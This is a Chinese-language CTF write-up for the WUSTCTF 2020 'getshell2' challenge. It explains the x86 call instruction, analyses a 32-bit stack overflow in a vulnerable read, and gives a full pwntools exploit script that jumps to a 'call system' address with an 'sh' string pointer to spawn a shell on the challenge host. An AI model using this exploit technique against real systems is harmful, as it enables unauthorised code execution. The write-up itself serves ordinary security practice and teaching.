[WUSTCTF 2020]getshell2


知识点:
call 指令
概念:
call 指令是汇编语言中用于实现子程序(函数)调用的核心指令,主要功能是将程序控制权转移到子程序,并在子程序执行完毕后返回原调用点继续执行。
流程:

  1. 保存返回地址:call 指令会先将当前指令的下一条指令地址(返回地址)压入栈中
  2. 跳转到子程序:将子程序的起始地址加载到指令指针寄存器(如 EIP/IP
  3. 执行子程序:CPU 开始顺序执行子程序中的指令
  4. 返回原程序:子程序通过 RET 指令弹出栈中保存的返回地址到指令指针寄存器

准备


32 位,开了 NX 保护

分析

main函数

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
vulnerable();
return 0;
}

有一个 vulnerable 函数

vulnerable函数

1
2
3
4
5
6
ssize_t vulnerable()
{
_BYTE buf[24]; // [esp+0h] [ebp-18h] BYREF

return read(0, buf, 0x24u);
}

读取输入最大 36(0x24) 个字节到 buf,但 buf 大小为 24,所以存在缓冲区溢出

shell函数(后门函数)

1
2
3
4
int shell()
{
return system("/bbbbbbbbin_what_the_f?ck__--??/sh");
}

system 函数,不是直接的连接路径,但看到有 sh 字符

思路:

这题有栈溢出和 system 函数,有 sh 连接路径
先看偏移量
需要注意的是这里的溢出位数
这里光看读取最大输入是 36,buf 大小为 24,有足够的可以写空间
但这样子是错的,这里具体的偏移量是 0x18+4(28) ,才到返回地址我们写入 system 地址

这样子我们能写入的只有 8 字节,用以往正常溢出的方法,payload 需要 12 字节是不够的
payload=b'a'*28+p32(system)+p32(0)+p32(sh)
p32(0) 是占位符,承接 system 函数的返回地址,当 system 执行完毕后,程序会尝试跳转到地址 0x00000000,这会触发错误,但在此之前,shell 已经被成功弹出,攻击已达成目标。)
这里我们直接用shell函数中汇编 call system 语句的地址
(调用 system() 函数执行命令)
(利用 call 指令自动压栈的特性:call 会自动将当前指令的下一条指令地址(返回地址,这里的 sh 地址)压入栈中)
( call 指令直接把 sh 地址压入栈中, system 从栈中获取参数(即 sh),当 system 执行完后,会执行 ret 指令,ret 会弹出栈顶的值(即 sh),并跳转到该地址执行虽然会报错,但已经执行了 shell
(所以这里我们不用加 p32(0) 这个值,给的 p32(sh) 既是 system 返回地址,在 call 指令下还是 system 的参数)

system 函数地址为 0x8048529
然后通过ROPgadget 指令去查找 sh 的地址

sh 的地址为 0x8048670
最后构造 payload 获得 shell

1
2
3
4
sh=0x08048670
system=0x8048529
payload=b'a'*28+p32(system)+p32(sh)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',log_level = 'debug',arch='i386')
io=remote('node5.anna.nssctf.cn',22637)
# io=process('/home/motaly/ser')
elf=ELF('/home/motaly/ser')

sh=0x08048670
system=0x8048529
payload=b'a'*28+p32(system)+p32(sh)
io.sendline(payload)

io.interactive()